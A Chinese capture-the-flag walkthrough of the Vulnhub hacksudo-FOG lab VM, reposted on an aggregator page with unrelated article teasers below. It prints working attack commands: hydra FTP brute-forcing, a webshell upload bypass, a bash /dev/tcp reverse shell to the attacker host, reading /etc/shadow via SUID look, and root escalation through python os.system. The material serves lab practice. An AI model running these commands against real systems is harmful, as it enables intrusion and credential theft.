Vulnhub靶机:hacksudo-FOG

一、介绍

运行环境:Virtualbox

攻击机:kali(10.0.2.15)

靶机:hacksudo-FOG(10.0.2.48)

目标:获取靶机root权限和flag

靶机下载地址:https://www.vulnhub.com/entry/hacksudo-fog,697/

二、信息收集

使用nmap主机发现靶机ip:10.0.2.48

在这里插入图片描述

使用nmap端口扫描发现,靶机开放端口:21、22、80、111、443、2049、3306

在这里插入图片描述
在这里插入图片描述

80端口:打开网站发现网站页面下面漂浮着一个链接,点击链接网站跳转到另一个页面

在这里插入图片描述

该页面没有什么可利用的功能点,查看源码发现隐藏信息,一个提取音频文件隐藏信息的工具和容器的作者,可能存在用户名:hacksudo

caesar-cipher ==? https://github.com/hacksudo/SoundStegno
box author : hacksudo

在这里插入图片描述

使用gobuster对网站进行目录爆破

gobuster dir -u http://10.0.2.48 -x txt,php,html,bak --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

在这里插入图片描述

尝试使用dirbuster进行目录爆破,补充信息

在这里插入图片描述

综合上面的扫描结果

/dict.txt #字典文件

/cms/ #一个CMS Made Simple搭建的网站

/cms/admin/login.php #网站的登录界面

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

打开CMS Made Simple搭建的网站可以看到版本信息V2.2.5

在这里插入图片描述

三、漏洞利用

可以使用searchsploit命令搜索该cms的历史漏洞

searchsploit CMS Made Simple

在这里插入图片描述

发现存在命令执行漏洞,但要利用该漏洞需要知道用户名密码

可以尝试使用用户名hacksudo和之前目录爆破得到的字典对登陆界面进行爆破

在这里插入图片描述

爆破完成,未发现可用的用户名密码

根据nmap扫描结果,靶机还开放了21、22、3306端口,可以尝试对这些端口进行爆破

hydra -l hacksudo -P passwd.txt 10.0.2.48 ftp -t 64  

在这里插入图片描述

爆破ftp成功,得到用户名密码:hacksudo/hackme

在这里插入图片描述

登录ftp发现里面存在一些文件,存在一个压缩文件和flag1.txt

查看flag1.txt

在这里插入图片描述

打开压缩文件发现被加密了,使用fcrackzip进行暴力破解,得到密码:fooled

fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u secr3tSteg.zip 

在这里插入图片描述

解压压缩文件,发现一个wav音频文件

在这里插入图片描述

使用之前提示的工具,提取音频文件的隐藏信息

git clone https://github.com/hacksudo/SoundStegno
cd SoundStegno
python ExWave.py -f ../hacksudoSTEGNO.wav

Shift by 3
ABCDEFGHIJKLMNOPQRSTUVWXYZ
DEFGHIJKLMNOPQRSTUVWXYZABC
zzzz.orfdokrvw/irj Xvhuqdph=irj:sdvvzrug=kdfnvxgrLVUR

在这里插入图片描述

提取出来的隐藏信息乱码,可能被加密了,使用凯撒密码解密,当偏移量为3时,解密成功

在这里插入图片描述

Pefcq yv 3
XYZABCDEFGHIJKLMNOPQRSTUVW
ABCDEFGHIJKLMNOPQRSTUVWXYZ
wwww.localhost/fog Username=fog:password=hacksudoISRO

使用得到的用户名密码登录网站,登录成功

在这里插入图片描述

发现文件上传功能,但直接上传php文件上传不上去,可以上传phtml文件绕过,上传一句话木马,使用蚁剑连接

在这里插入图片描述

在这里插入图片描述

连接成功

在这里插入图片描述

反弹shell

bash -c 'bash -i >& /dev/tcp/10.0.2.15/4444 0>&1'

在这里插入图片描述
在这里插入图片描述

获取交互式shell

python -c 'import pty; pty.spawn("/bin/bash")'

在这里插入图片描述

四、提权

查看一下具有SUID权限的二进制可执行文件,发现look命令

find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述

搜索使用方法:look | GTFOBins

查看/etc/shadow文件内容

/usr/bin/look '' /etc/shadow

在这里插入图片描述
在这里插入图片描述

获得root用户和isro用户的加密的密码,可以将这些密码复制到主机,使用john工具进行暴力破解

john --wordlist=/usr/share/wordlists/rockyou.txt passwd.txt

在这里插入图片描述

爆破暂时只得到isro用户的密码:qwerty,如果密码字典足够强大可以直接得到root权限

切换为isro用户

在这里插入图片描述

查看具有sudo权限的程序,发现可以以root权限运行ls查看/home/isro/*文件夹下的文件

在这里插入图片描述

查看/home/isro/目录有什么可利用的文件,发现一个flag

在这里插入图片描述

/home/isro/fog文件夹下存在一个fog程序

在这里插入图片描述

我们直接运行看看,发现是python程序,查看运行python程序的权限,发现是root权限

import os
os.system('id')

在这里插入图片描述

使用python提权

import os
os.system("/bin/sh")

在这里插入图片描述

获取flag

在这里插入图片描述

参考链接:Vulnhub 靶场 HACKSUDO: FOG - sainet - 博客园 (cnblogs.com)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/2775294.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

阿里云学生服务器完成验证领取300元无门槛代金券和优惠权益

阿里云高校计划「云工开物」学生和教师均可参与,完成学生认证和教师验证后学生可以免费领取300元无门槛代金券和3折优惠折扣,适用于云服务器等全量公共云产品,订单原价金额封顶5000元/年,阿里云百科aliyunbaike.com分享阿里云高校…

使用 WPF + Chrome 内核实现高稳定性的在线客服系统复合应用程序

对于在线客服与营销系统,客服端指的是后台提供服务的客服或营销人员,他们使用客服程序在后台观察网站的被访情况,开展营销活动或提供客户服务。在本篇文章中,我将详细介绍如何通过 WPF Chrome 内核的方式实现复合客服端应用程序。…

Java风暴:打造高效作家信息管理平台

✍✍计算机编程指导师 ⭐⭐个人介绍:自己非常喜欢研究技术问题!专业做Java、Python、微信小程序、安卓、大数据、爬虫、Golang、大屏等实战项目。 ⛽⛽实战项目:有源码或者技术上的问题欢迎在评论区一起讨论交流! ⚡⚡ Java实战 |…

抽象springBoot报错

Failed to configure a DataSource: url attribute is not specified and no embedded datasource could be configured. 中文翻译:无法配置DataSource:未指定“url”属性,并且无法配置嵌入数据源。 DataSource 翻译:数据源 得…

【leetcode】206. 反转链表(简单)题解学习

题目描述: 给你单链表的头节点 head ,请你反转链表,并返回反转后的链表。 示例 1: 输入:head [1,2,3,4,5] 输出:[5,4,3,2,1]示例 2: 输入:head [1,2] 输出:[2,1]示例 …

【数据库原理及应用】简答题归纳总结

第一章 数据库概论 1.人工管理阶段数据管理的特点: (1)数据不保存在机器中 (2)无专用的软件对数据进行管理 (3)只有程序的概念,没有文件的概念 (4)数据面向程…

DCN可变形卷积

参考 可变形卷积(DCN,Deformable Convolution Network)-CSDN博客 https://blog.csdn.net/zyw2002/article/details/132333731 论文及代码详解——可变形卷积(DCNv2)-CSDN博客 论文阅读笔记(二&#xff…

Gitlab和Jenkins集成 实现CI (二)

配置Gitlab api token 配置 Gitlab 进入gitlab #mermaid-svg-QQWExcx5fpZ59Sk7 {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#000000;}#mermaid-svg-QQWExcx5fpZ59Sk7 .error-icon{fill:#552222;}#mermaid-svg-QQWExcx5fpZ59Sk7 .e…

项目02《游戏-11-开发》Unity3D

基于 项目02《游戏-10-开发》Unity3D , 任务:飞行坐骑 首先创建脚本, 绑定脚本, using UnityEngine; public class Dragon : MonoBehaviour{ [SerializeField] private float speed 10f; public Transfo…

在windows的控制台实现贪吃蛇小游戏

欢迎来到博主的文章 博主id:代码小豪 前言:看懂这篇文章需要具有C语言基础,还要对单链表具有一定的理解。如果你只是想要试玩这个游戏,可以直接在文章末尾找到源码 由于实现贪吃蛇需要调用Win32 API函数,这些函数我会…

MQTT 服务器(emqx)搭建及使用

推荐阅读: MQTT 服务器(emqx)搭建及使用 - 哔哩哔哩 (bilibili.com) 一、EMQX 服务器搭建 1、下载EMQX https://www.emqx.com/zh/try?productbroker 官方中文手册: EMQX Docs 2、安装使用 1、该软件为绿色免安装版本,解压缩后即安装完…

Mac如何安装python?

一、问题 Mac如何安装python? 二、解决 1、系统自带python Mac系统均自带Python环境,用户在终端输入“python3”命令就可以运行,如图所示 2、官网下载 Download Python | Python.org (1)在Download下找到macOS &am…

手势检测跟踪解决方案

美摄科技,作为业界领先的人工智能技术提供商,致力于为企业提供先进的手势检测与跟踪解决方案,以推动企业在智能化、高效化的道路上阔步前行。 一、手势检测与跟踪技术的优势 手势检测与跟踪技术作为人机交互的重要一环,具有以下…

2024-02-07(Sqoop,Flume)

1.Sqoop的增量导入 实际工作中,数据的导入很多时候只需要导入增量的数据,并不需要将表中的数据每次都全部导入到hive或者hdfs中,因为这样会造成数据重复问题。 增量导入就是仅导入新添加到表中的行的技术。 sqoop支持两种模式的增量导入&a…

前端实现搜索框筛选

效果图 页面解析 是一个input输入框和一个button按钮组成输入框查询 内容是一个折叠面板 html代码 <div class"left-content-box"><div class"colum-search"><el-input v-model"columKey" clearable placeholder"请输入关…

MySQL——第三章 函数

MySQL——第三章 函数 3.1字符串函数3.2 数值函数3.3 日期函数3.4 流程函数 函数&#xff1a;是指一段可以直接被另一段程序调用的程序或代码 3.1字符串函数 函数功能CONCAT(S1,S2…Sn)字符串拼接LOWER(str)将字符串str全部转为小写UPPER(str)将字符串str全部转为大写LPAD(st…

【Linux】线程池线程安全的单例模式和STL读者写者问题

需要云服务器等云产品来学习Linux的同学可以移步/–>腾讯云<–/官网&#xff0c;轻量型云服务器低至112元/年&#xff0c;优惠多多。&#xff08;联系我有折扣哦&#xff09; 文章目录 1. 线程池1.1 线程池是什么1.2 为什么要有线程池1.3 线程池的应用场景1.4 线程池的任…

【JS逆向七】逆向某翻译网站的sign参数,并模拟生成 仅供学习

逆向日期&#xff1a;2024.02.07 使用工具&#xff1a;Node.js 文章全程已做去敏处理&#xff01;&#xff01;&#xff01; 【需要做的可联系我】 可使用AES进行解密处理&#xff08;直接解密即可&#xff09;&#xff1a;AES加解密工具 1、打开某某网站(请使用文章开头的AES…

免费领取阿里云学生专享服务器和300元无门槛代金券

阿里云学生服务器优惠活动&#xff1a;高效计划&#xff0c;可以免费领取一台阿里云服务器&#xff0c;如果你是一名高校学生&#xff0c;想搭建一个linux学习环境、git代码托管服务器&#xff0c;或者创建个人博客网站记录自己的学习成长历程&#xff0c;拥有一台云服务器是很…

2024年G3锅炉水处理证考试题库及G3锅炉水处理试题解析

题库来源&#xff1a;安全生产模拟考试一点通公众号小程序 2024年G3锅炉水处理证考试题库及G3锅炉水处理试题解析是安全生产模拟考试一点通结合&#xff08;安监局&#xff09;特种作业人员操作证考试大纲和&#xff08;质检局&#xff09;特种设备作业人员上岗证考试大纲随机…